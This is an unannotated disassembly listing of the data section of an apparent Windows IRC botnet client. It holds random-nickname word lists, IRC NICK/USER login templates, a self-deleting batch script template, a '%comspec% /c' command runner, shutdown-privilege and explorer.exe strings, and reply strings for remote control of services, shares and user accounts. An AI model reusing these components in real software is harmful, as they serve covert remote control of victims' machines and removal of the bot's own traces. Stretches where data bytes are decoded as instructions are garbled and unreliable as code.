off_438A68	dd offset aSex		; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
; ---------------------------------------------------------------------------
		push	6000438Dh
		lea	eax, [ebx+0]
		pop	eax
		lea	eax, [ebx+0]
		push	eax
		lea	eax, [ebx+0]
		dec	eax
		lea	eax, [ebx+0]
		inc	eax
		lea	eax, [ebx+0]
		cmp	[ebp-72CFFFBDh], cl
		inc	ebx
		add	[eax], ch
		lea	eax, [ebx+0]
		sbb	al, 8Dh
		inc	ebx
		add	ds:8D0C0043h[ecx*4], dl
		inc	ebx
		add	[eax], cl
		lea	eax, [ebx+0]
		add	[ebp-6D0BFFBDh], cl
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		db  10h
		db  93h	; “
		db  43h	; C
		db    0
		db  88h	; ˆ
		db 0B1h	; ±
		db  42h	; B
		db    0
		db  0Ch
		db  93h	; “
		db  43h	; C
		db    0
		db    8
		db  93h	; “
		db  43h	; C
		db    0
		db    4
		db  93h	; “
		db  43h	; C
		db    0
		db  70h	; p
		db 0C6h	; Æ
		db  42h	; B
		db    0
		db  34h	; 4
		db 0B9h	; ¹
		db  42h	; B
		db    0
		db  7Ch	; |
		db 0B7h	; ·
		db  42h	; B
		db    0
		db 0ECh	; ì
		db 0CAh	; Ê
		db  42h	; B
		db    0
		dd offset dword_439300
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439318
		dd offset dword_4392F8
		dd offset dword_439314
		dd offset dword_4392FC
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_4392FC
		dd offset dword_439308
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438CB8
		dd offset aBbl		; "|bbl"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset a___0		; "_|_"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392C4
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4392F4
		dd offset byte_43DB88
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392A8
		dd offset byte_43DB88
		dd offset off_438C78
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438C38
		dd offset dword_438C34
		dd offset dword_438C2C
		dd offset dword_438C20
		dd offset dword_438C18
		dd offset dword_438C10
		dd offset dword_438C08
		dd offset dword_438C04
		dd offset dword_438C00
dword_438C00	dd 7536h		; DATA XREF: ___:00438BFCo
dword_438C04	dd 7535h		; DATA XREF: ___:00438BF8o
dword_438C08	dd 7C75347Ch, 0		; DATA XREF: ___:00438BF4o
dword_438C10	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438BF0o
dword_438C18	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438BECo
dword_438C20	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o
dword_438C2C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438BE4o
dword_438C34	dd 6C6F6Ch		; DATA XREF: ___:00438BE0o
dword_438C38	dd 746F74h		; DATA XREF: ___:00438BDCo
aMofo		db 'mofo',0             ; DATA XREF: ___:00438BD8o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438BD4o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438BD0o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438BCCo
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438BC8o
aShit		db 'shit',0             ; DATA XREF: ___:00438BC4o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438BC0o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438BBCo
		align 4
off_438C78	dd offset aAij		; DATA XREF: ___:00438BB8o
					; "[a䠀"
aFree		db 'Free',0             ; DATA XREF: ___:00438BA4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438BA0o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438B94o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438B88o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438B84o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438B80o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00438B64o
aBbl		db '|bbl',0             ; DATA XREF: ___:00438B58o
		align 4
off_438CB8	dd offset loc_425240+2	; DATA XREF: ___:00438B54o
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438B40o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438B3Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438B38o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00438B34o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438B30o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00438B2Co
aRt		db 'rt',0               ; DATA XREF: ___:00438B28o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00438B24o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438B20o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00438B1Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438B18o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438AF8o
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 10h
aSex_0		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 10h
aLuck		db '|luck|',0
		align 4
aSuck		db '|suck|',0
		align 10h
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 10h
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0              ; DATA XREF: ___:00438A78o
aTree		db 'tree',0             ; DATA XREF: ___:00438A74o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00438A70o
aLez		db 'lez',0              ; DATA XREF: ___:00438A6Co
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00438A64o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00438A60o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00438A5Co
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00438A58o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00438A54o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438A50o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438A4Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438A48o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00438A44o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438A40o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438A3Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438A38o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00438A34o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438A30o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438A2Co
aAkden		db 'akden',0            ; DATA XREF: ___:00438A28o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438A24o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438A20o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438A1Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438A18o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438A14o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438A10o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438A0Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438A08o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438A04o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438A00o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:004389FCo
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:004389F8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:004389F4o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:004389F0o
		align 4
off_438E98	dd offset byte_4B5245	; DATA XREF: ___:004389ECo
aSevda		db 'sevda',0            ; DATA XREF: ___:004389E8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:004389E4o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:004389E0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:004389DCo
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:004389D8o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004389D4o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004389D0o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004389CCo
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004389C8o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004389C4o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004389C0o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004389BCo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004389B8o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004389B4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004389B0o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004389ACo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004389A8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004389A4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004389A0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043899Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438998o
aHoly		db 'holy',0             ; DATA XREF: ___:00438994o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438990o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043898Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438988o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438984o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438980o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:0043897Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00438978o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00438974o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438970o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:0043896Co
aArda		db 'arda',0             ; DATA XREF: ___:00438968o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00438964o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438960o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:0043895Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438958o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00438954o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:00438950o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043894Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438948o
		align 4
off_43902C	dd offset byte_457441	; DATA XREF: ___:00438944o
dword_439030	dd 414C5941h, 2Dh	; DATA XREF: ___:00438940o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043893Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438938o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00438934o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438930o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043892Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438928o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00438924o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438920o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043891Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438918o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438914o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438910o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043890Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438908o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438904o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438900o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:004388FCo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:004388F8o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:004388F4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:004388F0o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:004388ECo
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:004388E8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:004388E4o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:004388E0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:004388DCo
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:004388D8o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004388D4o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:004388D0o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004388CCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:004388C8o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004388C4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004388C0o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004388BCo
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004388B8o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004388B4o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004388B0o
aReshma		db 'reshma',0           ; DATA XREF: ___:004388ACo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004388A8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004388A4o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004388A0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043889Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438898o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438894o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438890o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043888Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438888o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438884o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438880o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:0043887Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:00438878o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00438874o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:00438870o
aMarcy		db 'marcy',0            ; DATA XREF: ___:0043886Co
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438868o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00438864o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438860o
aFlexster	db 'flexster',0         ; DATA XREF: ___:0043885Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438858o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00438854o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438850o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:0043884Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438848o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00438844o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438840o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:0043883Co
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438838o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00438834o
		align 4
aM_0:					; DATA XREF: ___:00438830o
					; ___:00438B7Co
		unicode	0, <M>,0
word_439298	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; ___:0043882Co
		align 4
dword_43929C	dd 42h			; DATA XREF: ___:00438828o
dword_4392A0	dd 56h			; DATA XREF: ___:00438824o
dword_4392A4	dd 43h			; DATA XREF: ___:00438820o
dword_4392A8	dd 58h			; DATA XREF: ___:0043881Co
					; ___:00438BB0o
dword_4392AC	dd 5Ah			; DATA XREF: ___:00438818o
dword_4392B0	dd 4Ch			; DATA XREF: ___:00438814o
dword_4392B4	dd 4Bh			; DATA XREF: ___:00438810o
dword_4392B8	dd 4Ah			; DATA XREF: ___:0043880Co
dword_4392BC	dd 48h			; DATA XREF: ___:00438808o
dword_4392C0	dd 47h			; DATA XREF: ___:00438804o
dword_4392C4	dd 46h			; DATA XREF: ___:00438800o
					; ___:00438B78o
dword_4392C8	dd 44h			; DATA XREF: ___:004387FCo
dword_4392CC	dd 53h			; DATA XREF: ___:004387F8o
dword_4392D0	dd 50h			; DATA XREF: ___:004387F0o
dword_4392D4	dd 4Fh			; DATA XREF: ___:004387ECo
dword_4392D8	dd 55h			; DATA XREF: ___:004387E4o
word_4392DC	dw 59h			; DATA XREF: sub_41A6EA+38r
					; ___:004387E0o
		align 10h
dword_4392E0	dd 54h			; DATA XREF: ___:004387DCo
dword_4392E4	dd 52h			; DATA XREF: ___:004387D8o
dword_4392E8	dd 45h			; DATA XREF: ___:004387D4o
dword_4392EC	dd 57h			; DATA XREF: ___:004387D0o
dword_4392F0	dd 51h			; DATA XREF: ___:004387CCo
dword_4392F4	dd 62h			; DATA XREF: ___:004387C0o
					; ___:00438B8Co
dword_4392F8	dd 78h			; DATA XREF: ___:00438B0Co
dword_4392FC	dd 7Ah			; DATA XREF: ___:00438B14o
					; ___:00438B44o
dword_439300	dd 6Ch,	68h		; DATA XREF: ___:004387ACo
					; ___:00438AE0o
dword_439308	dd 67h,	66h, 64h	; DATA XREF: ___:00438B48o
dword_439314	dd 79h			; DATA XREF: ___:00438B10o
dword_439318	dd 77h			; DATA XREF: ___:00438B08o
dword_43931C	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439328	dd 323334h		; DATA XREF: sub_417B76+79o
dword_43932C	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 4
dword_439374	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_4393DC:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 4
unk_4394A4	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4394D4	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4394FC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h
off_439518	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_43951C	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439520	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43958Ch, 439584h,	2, 439578h, 43956Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043954Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439548o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439540o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043953Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00439534o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439530o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439528o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00439524o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43951Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439518o
unk_4395E0	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439604	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439630	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B84	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439BA8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BC4	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C10	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 10h
unk_439C70	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
